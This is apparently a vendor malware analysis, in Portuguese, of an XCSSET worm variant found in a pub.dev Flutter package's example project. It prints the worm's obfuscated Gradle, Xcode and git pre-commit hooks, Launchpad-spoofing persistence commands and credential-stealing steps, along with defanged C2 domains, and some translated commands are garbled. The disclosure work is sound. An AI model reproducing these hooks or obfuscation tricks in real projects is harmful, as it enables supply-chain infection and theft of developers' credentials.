Hoje, o pub.dev junta-se à lista de registos de pacotes nos quais encontrámos malware. Detetámos uma variante do XCSSET escondida no interior de visualizador_universal_de_ficheiros (versão 0.1.5), um pacote de pré-visualização de ficheiros do Flutter disponível no pub.dev com cerca de 500 downloads. Este é o primeiro pacote comprometido que detetámos no pub.dev, o repositório oficial de pacotes para o Dart e o Flutter. Ao contrário do npm recente ataques à Supply chain como talvez já saiba, não se tratou de um caso em que alguém tenha visado deliberadamente esta encomenda.
O XCSSET é um worm do macOS que insere repetidamente um hook de compilação malicioso em todos os projetos Gradle para Android, projetos Xcode e repositórios Git que consiga encontrar numa máquina comprometida. A máquina do responsável pela manutenção foi infetada e, quando este publicou uma nova versão do pacote a partir dessa máquina, os ficheiros infetados foram incluídos na publicação. O pacote do pub.dev remonta a um repositório GitHub comprometido.
Uma pesquisa rápida no GitHub mostra que isto continua a acontecer hoje em dia, com outros mantenedores a publicar ativamente projetos infetados sem se aperceberem disso:

Para um contexto mais alargado sobre o XCSSET, consulte o relatório da Unit 42 intitulado «The Xcode Assassin Returns» e as publicações da Microsoft de março e setembro de 2025.
O que encontrámos na embalagem
visualizador_universal_de_ficheiros é um pacote do pub.dev que fornece widgets de pré-visualização de ficheiros incorporados para aplicações Flutter: PDF, Word, Excel, vídeo, Markdown e texto simples. O código da sua biblioteca Dart encontra-se em lib/ está totalmente limpo. Os ficheiros infetados estão todos dentro do exemplo/ diretório, que vem incluído no ficheiro tarball do pub.dev, mas que nunca é compilado quando o pacote é utilizado como dependência. Basta adicionar visualizador_universal_de_ficheiros para o seu pubspec.yaml e a compilação da sua própria aplicação não desencadeia nada. O risco recai sobre quem clonar o repositório e compilar explicitamente a aplicação de exemplo localmente. Não se trata de um ataque direcionado ao pacote ou às suas dependências. O worm limitou-se a anexar-se a quaisquer ficheiros de compilação que encontrasse na máquina infetada do responsável pela manutenção, e a maioria dos utilizadores do pacote nunca será afetada.
Foram infetadas três configurações de compilação distintas, cada uma delas infetada de forma independente pelos módulos de worm do XCSSET:
example/android/app/build.gradle.kts contém um preBuild gancho inserido pelo android_finder módulo:
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A reconstrói xxd em tempo de execução para contornar os scanners baseados em cadeias de caracteres. O blob hexadecimal descodifica-se num comando curl para 5yotmxcc54l9xda[.]ru/a com a etiqueta da campanha p=android_kotlin. Esta função é executada silenciosamente em cada compilação do Gradle, sendo que a saída é descartada.
example/ios/Runner.xcodeproj/project.pbxproj e example/macos/Runner.xcodeproj/project.pbxproj ambos contêm um PBXBuildRule entrada que é acionada quando qualquer .md O ficheiro é processado durante uma compilação:
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 é uma configuração de compilação definida no mesmo ficheiro. No caso do iOS, é ofuscada em base64 (printf bdase64 | tr -d d), indicando qdgs232i-q[.]ru com a etiqueta p=xcode_rule. No caso do macOS, está ofuscado em hexadecimal (printf xxVd | tr -d V), indicando ejntin6hkjt7gj2[.]ru com a mesma etiqueta. Ambos são executados quando o projeto é compilado.
A cadeia de infeção
O XCSSET é composto por várias etapas e módulos, cada um dos quais desempenha uma função específica.
Fases
- Fase 1: o gancho de compilação contacta o C2 e recebe em resposta um script que efetua um novo pedido com o sistema operativo e o nome de utilizador
- Fase 2: o servidor devolve um script shell encriptado que recolhe o número de série do hardware e as configurações regionais, descarrega o carregador principal para
/tmp/h, compila um pacote de aplicação invisível à sua volta, executa-o e, em seguida, elimina ambos no prazo de dez segundos - Fase 3: o carregador é um AppleScript compilado, executável apenas uma vez, que se descodifica a si próprio utilizando AES-256-CBC com uma chave diária e, em seguida, executa a carga útil descodificada na memória
- Fase 4: a carga útil descodificada é o orquestrador central que distribui todos os módulos
Módulos de propagação
android_finder: insere um código maliciosopreBuildinfiltra-se em todos os projetos Gradle do Android instalados no computador. Qualquer programador que compile um desses projetos também fica infetadogit_finder: escreve um ficheiro maliciosopré-confirmaçãoligar-se a todos os repositórios Git na máquina. É executado em cada commitreplicator_finder: insere uma fase de compilação maliciosa em todos os projetos do Xcode presentes no computador. Qualquer programador que compile um desses projetos fica infetado
Persistência
persistir: substitui o ícone do Launchpad no Dock por um pacote falso que reativa a sequência sempre que o utilizador clica nele. Mantém-se após reinicializações e não deixa qualquer vestígio nos locais de persistência padrão
Módulos de roubo
browser_remote: retira a entrada do porta-chaves do Safe Storage do Chrome para interceptar a chave de encriptação regenerada e, em seguida, extrai as palavras-passe guardadas, os cookies e os tokens de sessãosafari_remote: instala um pacote falso do Safari e extrai os dados locais do Safarifirefox_data: instala um ficheiro binário nativo e extrai as credenciais do Firefoxtdesktop: encerra a aplicação Telegram, substitui-a por uma cópia infectada com um trojan e tem como alvo os dados da sessãoaplicação de notas: aguarda que as aplicações «Notas», «Lembretes» ou «Calendário» sejam abertas e, em seguida, extrai os respetivos dadosárea de transferência: lê e extrai o conteúdo da área de transferênciaapp_de_configurações: faz-se passar por «Definições do Sistema» e utilizasudopara a escalada de privilégioslocalizador_de_pastas_de_dados: percorre o diretório principal e extrai ficheiros das pastas visadas
Todos os módulos de roubo são obtidos a partir do C2 e executados na memória através de osascript. Nada é gravado no disco. Os dados roubados são encriptados com AES-256-CBC antes de serem enviados para /u.
Como se propaga
Antes de executar quaisquer módulos de roubo, o carregador envia três módulos de worm.
android_finder
android_finder procura ficheiros de compilação do Android no diretório pessoal:
nice -n 15 find ~ -maxdepth 6 \
\( -type d \( -name Filmes -o -name Biblioteca ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -imprimirPara cada correspondência, o sistema confirma que se trata de um módulo Android genuíno antes de o injetar e, em primeiro lugar, elimina qualquer infeção anterior. Suporta ficheiros de compilação tanto em Kotlin DSL como em Groovy. Qualquer programador que, posteriormente, compile um desses projetos fica infetado, assim como qualquer pessoa que clone o repositório e o compile depois dele.
git_finder
git_finder encontra todos os .git diretório no computador e grava um ficheiro malicioso pré-confirmação ligar-se a cada um deles. A carga útil do hook é polimórfica: o domínio C2, o esquema de codificação e a profundidade de aninhamento são todos aleatórios em cada infeção. O resultado tem o seguinte aspeto:
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Cada commit efetuado pelo programador, em qualquer um dos seus repositórios, reativa silenciosamente toda a cadeia. Se já existir um hook, o módulo remove as linhas injetadas anteriormente através de sed antes de acrescentar.
replicator_finder
replicator_finder é o vetor XCSSET clássico. Este analisa project.pbxproj ficheiros, verifica se archiveVersion = e Secção PBXShellScriptBuildPhase, e insere uma fase de compilação denominada «Run Script». Qualquer programador que abra e compile um projeto Xcode infetado fica vulnerável. Este facto está documentado desde 2020 e continua a fazer parte do conjunto de ferramentas, a par dos outros dois vetores.
Persistência oculta no Dock
O persistir O módulo verifica se isto se mantém após um reinício. Mantém-se, e de uma forma que contorna as verificações de persistência padrão.
Faz o download dockutil a partir do C2 (/d/dockutil_arm64 ou /d/dockutil_amd64), o ad-hoc assina-o e cria um pacote de aplicação falso em ~/Biblioteca/Caches/vyf[.]lttzw[.]snjgwq/. O pacote de Info.plist foi modificado para se fazer passar pelo Launchpad:
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistEm seguida, utiliza dockutil para substituir o ícone verdadeiro do Launchpad no Dock pelo pacote falso. Ao clicar no Launchpad, abre-se o Launchpad verdadeiro (open -b com.apple.launchpad.launcher) e executa o script malicioso em simultâneo. A cada reinício, este é executado assim que o utilizador clica no Launchpad pela primeira vez.
Módulos Stealer
Com a propagação e a persistência ativadas, o carregador aciona os módulos de roubo. Cada um deles é obtido a partir de /s/<module> e executado através de osascript -e "$(curl ...)". Nada é gravado no disco.
browser_remote descarrega um ficheiro binário nativo (cd_arm64 ou cd_amd64) a partir do C2, remove o Chrome's GoogleUpdater e Atualização de software inscrições e corridas segurança eliminar-palavra-passe-genérica para eliminar a entrada do porta-chaves do Safe Storage do Chrome. A remoção desta entrada obriga o Chrome a regenerar a sua chave de encriptação, que o ficheiro binário interceta para desencriptar palavras-passe guardadas, cookies e tokens de sessão.
safari_remote coloca um pacote falso do Safari na pasta ~/Biblioteca/ASafari/ e ~/Biblioteca/Caches/com[.]beta[.]Safari e extrai os dados locais do Safari.
firefox_data transferências hbdm_arm64 ou hbdm_amd64 e chama-a com -c palavra-passe --zip, resultando num firefox_browser_data.zip carregado em /u.
tdesktop executa killall -9 Telegram, descarrega uma versão reempacotada Telegram.app a partir do C2 e insere o substituto no local com assinatura ad hoc. Tem como alvo os dados de sessão do Telegram, tanto a partir do caminho clássico (~/Biblioteca/Apoio a Aplicações/Telegram Desktop/tdata) e o caminho « container » no ambiente isolado.
aplicação de notas aguarda que as aplicações «Notas», «Lembretes» ou «Calendário» estejam em execução, instala-se no pacote da aplicação em questão e extrai dados notes_app_data.zip.
área de transferência gere um pbpaste entra em loop e extrai o conteúdo da área de transferência.
app_de_configurações cria um pacote falso de «Configurações do Sistema» que aparece nas secções «Preferências do Sistema» e «Preferências» no Spotlight e descarrega um ficheiro binário separado mac_bin_daemon_app a partir do C2 e executa comandos através de sudo -u para a escalada de privilégios.
localizador_de_pastas_de_dados percorre o diretório principal e extrai ficheiros das pastas visadas para /u.
Todos os dados roubados vão para /u através de um POST multiparte, encriptado com uma chave AES-256-CBC.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Indicadores de comprometimento
Domínios C2
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
Artefactos de ficheiros
project.pbxprojque contém umPBXBuildRulecomsh -c "${A3EA261}"build.gradleoubuild.gradle.ktsque contém uma chamada de shell ofuscada utilizandoprintf xAxd | tr -d Apara reconstruirxxd.git/hooks/pre-commitque contémbase64 --decode | base64 --decodeouxxd -p -r | xxd -p -r

